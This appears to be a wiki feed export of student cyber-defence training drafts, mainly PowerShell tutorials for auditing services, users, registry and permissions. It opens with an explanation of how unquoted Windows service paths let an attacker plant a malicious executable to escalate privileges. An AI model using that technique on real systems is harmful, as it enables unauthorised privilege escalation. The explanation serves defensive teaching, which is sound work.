In the event that a service path is unquoted, Windows will search for an executable in each path segment which ends in a space from left to right until it finds a valid executable. If a user happens to have write access to one of these locations, then it is possible that they could take advantage of this search order and place their own malicious executable at one of these locations. For example, if a service executable was placed at &amp;lt;code&amp;gt;C:\Program Files\SecureService\Service Executables\supersecure.exe&amp;lt;/code&amp;gt; and had an unquoted path, Windows would first check for &amp;lt;code&amp;gt;C:\Program.exe&amp;lt;/code&amp;gt;, then &amp;lt;code&amp;gt;C:\Program Files\SecureService\Service.exe&amp;lt;/code&amp;gt;, then finally &amp;lt;code&amp;gt;C:\Program Files\SecureService\Service Executables\supersecure.exe&amp;lt;/code&amp;gt;. If an attacker had write access to the &amp;lt;code&amp;gt;SecureService&amp;lt;/code&amp;gt; directory, they could create a malicious &amp;lt;code&amp;gt;Service.exe&amp;lt;/code&amp;gt; file which would run when the service activates. Since it is common for services to run with high privileges such as those of the &amp;lt;code&amp;gt;LocalSystem&amp;lt;/code&amp;gt; account, this could lead to an attacker escalating their privileges on the system. As such, when defending a system you must ensure that any service paths which contain a space are properly enclosed in quotes.&lt;br /&gt;
&lt;br /&gt;
== Tooling ==&lt;br /&gt;
&lt;br /&gt;
As usual, the Sysinternals tools prove to be very useful in higher-level analysis of Windows services. Specifically, Process Explorer can be useful in seeing the current protection level of running processes.&lt;br /&gt;
&lt;br /&gt;
I also recommend Process Hacker, as it makes modifying service permissions, PPL, and much more a lot simpler with a GUI. You should still learn the command line version of the above for your scripts and personal tooling; however, for quick fixes, Process Hacker will prove useful. You can also use it to run with TrustedInstaller-level permissions, which you will need to modify permission/PPL properly.&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Here is a list of practice images that have some more advanced Service Auditing vulnerabilities: https://docs.google.com/spreadsheets/d/1zjvtl_TNkD108jZaluGo-juQI6U89P7tcqWTZELmpH8/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
* King Arthur&#039;s Castle&lt;br /&gt;
* Baldi&#039;s Basics&lt;br /&gt;
* Sunrise Foundation Training Simulation&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading, &amp;amp;amp; Tools Mentioned ===&lt;br /&gt;
&lt;br /&gt;
* https://itm4n.github.io/lsass-runasppl&lt;br /&gt;
* https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/&lt;br /&gt;
* https://www.sans.org/blog/red-team-tactics-hiding-windows-services/&lt;br /&gt;
* https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths&lt;br /&gt;
* https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer&lt;br /&gt;
* https://sourceforge.net/projects/processhacker/&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Service Auditing|005]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:An_Introduction_to_Powershell&amp;diff=187</id>
		<title>Draft:An Introduction to Powershell</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:An_Introduction_to_Powershell&amp;diff=187"/>
		<updated>2026-09-22T05:42:56Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/scripting/introduction_powershell (source: docs/windows/scripting/introduction_powershell.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Byrch&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-30-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is PowerShell? ==&lt;br /&gt;
&lt;br /&gt;
PowerShell is a cross-platform task automation solution made up of a command-line shell, a scripting language, and a configuration management framework. PowerShell runs on Windows, Linux, and macOS.&lt;br /&gt;
&lt;br /&gt;
== Why it&#039;s important ==&lt;br /&gt;
&lt;br /&gt;
Powershell is important due to the nature of the competition. You are tasked with securing systems in a timely manner, while also being compliant to industry best security practices. Powershell provides a fast way to automate security checks, apply patches, disable insecure configurations, and manage users.&lt;br /&gt;
&lt;br /&gt;
# Powershell can run scripts to remediate the tedious, time consuming tasks&lt;br /&gt;
# It allows mass bulk changes, greatly improving productivity and time usage&lt;br /&gt;
# It&#039;s faster and more consistent than manually navigating through GUI&lt;br /&gt;
&lt;br /&gt;
== How to open/use PowerShell ==&lt;br /&gt;
&lt;br /&gt;
On Windows (Recommended):&lt;br /&gt;
&lt;br /&gt;
# Press &#039;&#039;&#039;Start&#039;&#039;&#039; and type &amp;lt;code&amp;gt;Powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
# Choose &#039;&#039;&#039;Windows Powershell&#039;&#039;&#039; or &#039;&#039;&#039;Powershell 7&#039;&#039;&#039; (if installed)&lt;br /&gt;
# To run with administrative privileges, right-click and select &#039;&#039;&#039;Run as Administrator&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If the steps above do not work, try the solutions outlined in the Microsoft documentation: https://learn.microsoft.com/en-us/powershell/scripting/windows-powershell/starting-windows-powershell&lt;br /&gt;
&lt;br /&gt;
== Syntax basics ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cmdlets:&#039;&#039;&#039; PowerShell commands follow the &#039;&#039;Verb-Noun&#039;&#039; naming convention.&amp;lt;br /&amp;gt;&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Service&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Pipelines (|):&#039;&#039;&#039; Pass the output of one command into another.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Service | Stop-Service&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;DO NOT&#039;&#039;&#039; run code blindly from the internet. Always assess the code and potential risks before executing it. For example, the code above will &amp;amp;quot;get&amp;amp;quot; all services and pipe them into the &amp;amp;quot;stop&amp;amp;quot; command, which might stop critical services and potentially damage the host or guest system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Variables:&#039;&#039;&#039; Use $ to define variables.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;$name = &amp;quot;User&amp;quot;&lt;br /&gt;
${this can also be a variable} = &amp;quot;password&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Scripts:&#039;&#039;&#039; Save commands in a .ps1 file and execute it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;.\script.ps1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Help:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Help &amp;lt;command&amp;gt;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Helpful websites, forums, and communities ==&lt;br /&gt;
&lt;br /&gt;
[https://discord.gg/FhnaV8DnAY Cypat Community Discord (Recommended)]&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/powershell/ Microsoft Learn: PowerShell]&lt;br /&gt;
&lt;br /&gt;
[https://www.powershellgallery.com/ PowerShell Gallery – Find and share PowerShell modules.]&lt;br /&gt;
&lt;br /&gt;
[https://www.reddit.com/r/PowerShell/ r/PowerShell (Reddit)]&lt;br /&gt;
&lt;br /&gt;
[https://discord.gg/powershell PowerShell Discord Community]&lt;br /&gt;
&lt;br /&gt;
[https://stackoverflow.com/questions/tagged/powershell Stack Overflow - PowerShell]&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows PowerShell|008]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:PowerShell_for_Intermediate_Users&amp;diff=186</id>
		<title>Draft:PowerShell for Intermediate Users</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:PowerShell_for_Intermediate_Users&amp;diff=186"/>
		<updated>2026-09-22T05:42:50Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/scripting/intermediate_powershell (source: docs/windows/scripting/intermediate_powershell.md) --&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Author(s):&#039;&#039;&#039; Byrch&amp;lt;br /&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Last Updated:&#039;&#039;&#039; 2025‑07‑30&amp;lt;br /&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Recommended Prerequisites:&#039;&#039;&#039; None&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;This content was written with the intermediate audience in mind. For the experienced Powershell users in the community its important to emphasize that all scripts should be tested in a safe environment before being run in production. Additionally, development of scripts should following best practices and modularity to ensure maintainability and reusability despite what environment might be thrown at it.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== Learning objectives ==&lt;br /&gt;
&lt;br /&gt;
By the end, learners should be able to:&lt;br /&gt;
&lt;br /&gt;
* Write reusable &#039;&#039;&#039;functions&#039;&#039;&#039; and bundle them into &#039;&#039;&#039;modules&#039;&#039;&#039; with help/validation.&lt;br /&gt;
* Inspect and control &#039;&#039;&#039;Windows services&#039;&#039;&#039; and &#039;&#039;&#039;processes&#039;&#039;&#039; safely.&lt;br /&gt;
* Make targeted, reversible &#039;&#039;&#039;registry&#039;&#039;&#039; changes.&lt;br /&gt;
* Manage &#039;&#039;&#039;local users, groups, and permissions&#039;&#039;&#039; with audit trails.&lt;br /&gt;
* Build &amp;amp;quot;&#039;&#039;&#039;automation&#039;&#039;&#039;&amp;amp;quot; that logs actions and supports Powershell best practices.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== 1) Functions &amp;amp;amp; modules ==&lt;br /&gt;
&lt;br /&gt;
=== Minimal, production‑ish function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Powershell functions follow a verb-noun naming convention, with only a few verbs approved for use.&lt;br /&gt;
&lt;br /&gt;
function Set-StartupType {&lt;br /&gt;
&lt;br /&gt;
    # Parameter validation and support for -WhatIf and -Confirm&lt;br /&gt;
    # CmdletBinding attribute enables advanced function features (and pipeline support)&lt;br /&gt;
    [CmdletBinding(SupportsShouldProcess, ConfirmImpact=&#039;Medium&#039;)]&lt;br /&gt;
    param(&lt;br /&gt;
        [Parameter(Mandatory, ValueFromPipelineByPropertyName)]&lt;br /&gt;
        [ValidateSet(&#039;Automatic&#039;,&#039;Manual&#039;,&#039;Disabled&#039;)]&lt;br /&gt;
        [string]$StartupType,&lt;br /&gt;
&lt;br /&gt;
        [Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)]&lt;br /&gt;
        [Alias(&#039;Name&#039;)]&lt;br /&gt;
        [string[]]$ServiceName&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    # Function body should follow a begin, process, end pattern for structure and organization.&lt;br /&gt;
    begin { }&lt;br /&gt;
    process {&lt;br /&gt;
        foreach ($svc in $ServiceName) {&lt;br /&gt;
            if ($PSCmdlet.ShouldProcess(&amp;quot;service &#039;$svc&#039;&amp;quot;, &amp;quot;set startup to $StartupType&amp;quot;)) {&lt;br /&gt;
                try {&lt;br /&gt;
                    Set-Service -Name $svc -StartupType $StartupType -ErrorAction Stop&lt;br /&gt;
                }&lt;br /&gt;
                catch { Write-Error &amp;quot;Failed to set $svc: $_&amp;quot; }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Turning functions into a module ===&lt;br /&gt;
&lt;br /&gt;
* Create a folder named for your module or script. Below is a simple structure for a module named &amp;lt;code&amp;gt;MyTeam.SecurityTools&amp;lt;/code&amp;gt;. Such structure is the gold standard for modular and reusable Powershell code. (It also makes readability and maintenance easier :)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;MyTeam.SecurityTools\&lt;br /&gt;
  MyTeam.SecurityTools.psd1   # module manifest (version, author, tags)&lt;br /&gt;
  MyTeam.SecurityTools.psm1   # exported functions&lt;br /&gt;
  Private\*.ps1               # helpers&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Export with &amp;lt;code&amp;gt;Export-ModuleMember&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Version your manifest; keep functions idempotent and &amp;lt;code&amp;gt;-WhatIf&amp;lt;/code&amp;gt; friendly.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== 2) Working with services &amp;amp;amp; processes ==&lt;br /&gt;
&lt;br /&gt;
=== Example of an auditing of services ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;$knownGood = &#039;wuauserv&#039;,&#039;BITS&#039;,&#039;WinDefend&#039;,&#039;LanmanWorkstation&#039;,&#039;LanmanServer&#039;,&#039;Dhcp&#039;,&#039;Dnscache&#039;&lt;br /&gt;
Get-Service | Select-Object Name, Status, StartType | Sort-Object Name |&lt;br /&gt;
    Tee-Object -FilePath &amp;quot;$env:USERPROFILE\Desktop\services-audit.csv&amp;quot; | Out-Host&lt;br /&gt;
# Keeping a CSV of current services is a great way to baseline and track changes over time. Additionally, it can be useful for troubleshooting unexpected errors or behaviors.&lt;br /&gt;
&lt;br /&gt;
# Highlight non-standard auto services&lt;br /&gt;
Get-Service | Where-Object { $_.StartType -eq &#039;Automatic&#039; -and $_.Name -notin $knownGood } |&lt;br /&gt;
    Select Name,DisplayName,Status | Format-Table -AutoSize&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Safe scripting tips ===&lt;br /&gt;
&lt;br /&gt;
* Prefer &amp;lt;code&amp;gt;Set-Service -StartupType Manual&amp;lt;/code&amp;gt; over disabling until you confirm necessity.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;$baseline = @{ &#039;Workstation&#039; = @(&#039;WinDefend&#039;,&#039;wuauserv&#039;,&#039;BITS&#039;); }&lt;br /&gt;
$expected = $baseline.Workstation&lt;br /&gt;
Get-Service | Where-Object Name -notin $expected | Export-Csv baseline-delta.csv -NoTypeInformation&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== 3) Registry edits (reversible and targeted) ==&lt;br /&gt;
&lt;br /&gt;
=== Always: export before you change ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;$stamp = Get-Date -Format &#039;yyyyMMdd-HHmmss&#039;&lt;br /&gt;
reg.exe export HKLM\SOFTWARE &amp;quot;HKLM_SOFTWARE_$stamp.reg&amp;quot; /y | Out-Null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Common, defensible tweaks ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;# Show file extensions (reduces double-extension tricks)&lt;br /&gt;
Set-ItemProperty -Path &#039;HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced&#039; -Name HideFileExt -Value 0&lt;br /&gt;
&lt;br /&gt;
# Disable Guest if present&lt;br /&gt;
Get-LocalUser -Name &#039;Guest&#039; -ErrorAction SilentlyContinue | ForEach-Object {&lt;br /&gt;
    Disable-LocalUser -Name $_.Name&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;blockquote&amp;gt;Keep a small revert script (or robust change log) alongside your changes.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== 4) Permissions &amp;amp;amp; Users ==&lt;br /&gt;
&lt;br /&gt;
=== Local accounts &amp;amp;amp; groups ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;# Create a standard user&lt;br /&gt;
$u = &#039;ExampleTestUser&#039;&lt;br /&gt;
if (-not (Get-LocalUser -Name $u -ErrorAction SilentlyContinue)) {&lt;br /&gt;
    $pw = Read-Host -AsSecureString &amp;quot;Enter password for $u&amp;quot;&lt;br /&gt;
    New-LocalUser -Name $u -Password $pw -AccountNeverExpires:$true -FullName &#039;Student Standard&#039;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Add new user to group&lt;br /&gt;
Add-LocalGroupMember -Group &#039;Users&#039; -Member $u -ErrorAction SilentlyContinue&lt;br /&gt;
&lt;br /&gt;
# Review admins&lt;br /&gt;
$approvedAdmins = @(&#039;Administrator&#039;,&#039;SusAdmin&#039;)&lt;br /&gt;
(Get-LocalGroupMember &#039;Administrators&#039;).Name |&lt;br /&gt;
  Where-Object { $_ -notin $approvedAdmins } |&lt;br /&gt;
  ForEach-Object { Write-Output &amp;quot;Review admin member: $_&amp;quot; }&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== NTFS ACLs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;$path = &#039;C:\Shared&#039;&lt;br /&gt;
if (-not (Test-Path $path)) { New-Item -ItemType Directory -Path $path | Out-Null }&lt;br /&gt;
$acl = Get-Acl $path&lt;br /&gt;
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(&#039;Users&#039;,&#039;Modify&#039;,&#039;ContainerInherit,ObjectInherit&#039;,&#039;None&#039;,&#039;Allow&#039;)&lt;br /&gt;
$acl.SetAccessRule($rule)&lt;br /&gt;
Set-Acl -Path $path -AclObject $acl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== - It is important to note that some cmdlets used in this section may require recent versions of Windows Powershell (or Powershell Core). ====&lt;br /&gt;
&lt;br /&gt;
==== - Please ensure the support of these commandlets in your environment before using them. (i.e. Get-LocalUser, Get-LocalGroupMember, Add-LocalGroupMember will not work in Microsoft Windows 7 Powershell) ====&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== 5) Now that we have the scripting basics down, let&#039;s look at what more we can do with Powershell. Take a look at all these cmdlets! ==&lt;br /&gt;
&lt;br /&gt;
= Management Module =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command -Module Microsoft.PowerShell.Management | Out-GridView&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
= Users =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command -Noun *User | Out-GridView&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
= Services =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command -Noun *Service | Out-GridView&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
= Processes =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command -Noun *Process | Out-GridView&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
= Registry =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command -Noun *ItemProperty | Out-GridView&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
= Firewall =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command -Noun *Firewall* | Out-GridView&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
= Scheduled Tasks =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command -Noun *ScheduledTask* | Out-GridView&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
= Transcription (Logging) =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command -Noun *Transcript* | Out-GridView&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== 9) Comment‑based help template ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&amp;lt;#!&lt;br /&gt;
.SYNOPSIS&lt;br /&gt;
  Sets a service startup type with WhatIf/Confirm support.&lt;br /&gt;
.DESCRIPTION&lt;br /&gt;
  Safe wrapper around Set-Service for baseline enforcement.&lt;br /&gt;
.PARAMETER ServiceName&lt;br /&gt;
  One or more service names.&lt;br /&gt;
.PARAMETER StartupType&lt;br /&gt;
  Automatic, Manual, or Disabled.&lt;br /&gt;
.EXAMPLE&lt;br /&gt;
  &#039;WinDefend&#039; | Set-StartupType -StartupType Automatic -WhatIf&lt;br /&gt;
#&amp;gt;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== 10) Quick reference (cheat sheet) (more cmdlets to take a look at) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List services:&#039;&#039;&#039; &amp;lt;code&amp;gt;Get-Service | Sort Name&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Change startup:&#039;&#039;&#039; &amp;lt;code&amp;gt;Set-Service -Name &amp;amp;lt;svc&amp;amp;gt; -StartupType Manual&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Running processes:&#039;&#039;&#039; &amp;lt;code&amp;gt;Get-Process | Sort CPU -Desc | Select -First 10&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Local users:&#039;&#039;&#039; &amp;lt;code&amp;gt;Get-LocalUser&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Enable-LocalUser&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Disable-LocalUser&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Local groups:&#039;&#039;&#039; &amp;lt;code&amp;gt;Get-LocalGroupMember Administrators&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Registry provider:&#039;&#039;&#039; &amp;lt;code&amp;gt;Get-Item &#039;HKLM:\...&#039;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Set-ItemProperty&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Firewall:&#039;&#039;&#039; &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Private,Public -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Logging:&#039;&#039;&#039; &amp;lt;code&amp;gt;Start-Transcript&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Stop-Transcript&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Scheduled task:&#039;&#039;&#039; &amp;lt;code&amp;gt;Register-ScheduledTask&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== 12) Notes &amp;amp;amp; guardrails ==&lt;br /&gt;
&lt;br /&gt;
* Use &amp;lt;code&amp;gt;-WhatIf&amp;lt;/code&amp;gt; first; only remove or disable after documenting a reason.&lt;br /&gt;
* Create a restore point if available: &amp;lt;code&amp;gt;Checkpoint-Computer -Description &#039;BeforeHygiene&#039;&amp;lt;/code&amp;gt; (requires System Protection).&lt;br /&gt;
* Avoid blanket disabling of services; prefer Manual unless you’ve confirmed.&lt;br /&gt;
* Keep all changes reversible and logged to a dated folder on the Desktop.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Attribution ===&lt;br /&gt;
&lt;br /&gt;
You may copy/adapt with attribution.&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows PowerShell|010]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Powershell_for_Advanced_Users&amp;diff=185</id>
		<title>Draft:Powershell for Advanced Users</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Powershell_for_Advanced_Users&amp;diff=185"/>
		<updated>2026-09-22T05:42:50Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/scripting/advanced_powershell (source: docs/windows/scripting/advanced_powershell.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Byrch&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-30-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Pardon my ignorance =&lt;br /&gt;
&lt;br /&gt;
==== I&#039;m currently developing this part of the Powershell materials. I&#039;m making sure it&#039;s the best. Please come back later! ====&lt;br /&gt;
&lt;br /&gt;
==== In the meantine, please read the entire Microsoft Powershell documentation: [https://learn.microsoft.com/en-us/powershell/scripting/how-to-use-docs?view=powershell-5.1 here] ====&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows PowerShell|011]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_Prohibited_Files_and_Apps&amp;diff=184</id>
		<title>Draft:Introduction to Prohibited Files and Apps</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_Prohibited_Files_and_Apps&amp;diff=184"/>
		<updated>2026-09-22T05:42:50Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/prohibited_files_and_apps/intro_prohibited_files_and_apps (source: docs/windows/prohibited_files_and_apps/intro_prohibited_files_and_apps.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-03-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is this about? ==&lt;br /&gt;
&lt;br /&gt;
This is mainly about deleting and removing unwanted files and apps. Note that this article does not include malware, as it is a different subject.&lt;br /&gt;
&lt;br /&gt;
== Why do we need to worry about this? ==&lt;br /&gt;
&lt;br /&gt;
This is for several reasons:&lt;br /&gt;
&lt;br /&gt;
* Takes up space&lt;br /&gt;
* Increases attack surface (especially files like plaintext password files)&lt;br /&gt;
* Violates company policies&lt;br /&gt;
&lt;br /&gt;
== Concepts ==&lt;br /&gt;
&lt;br /&gt;
* Apps are stored in multiple locations&lt;br /&gt;
** C:\Program Files\&lt;br /&gt;
*** 64 bit&lt;br /&gt;
** C:\Program Files(x86)\&lt;br /&gt;
*** 32 bit on 64 bit computer&lt;br /&gt;
** C:\Users[User]\AppData\Local&lt;br /&gt;
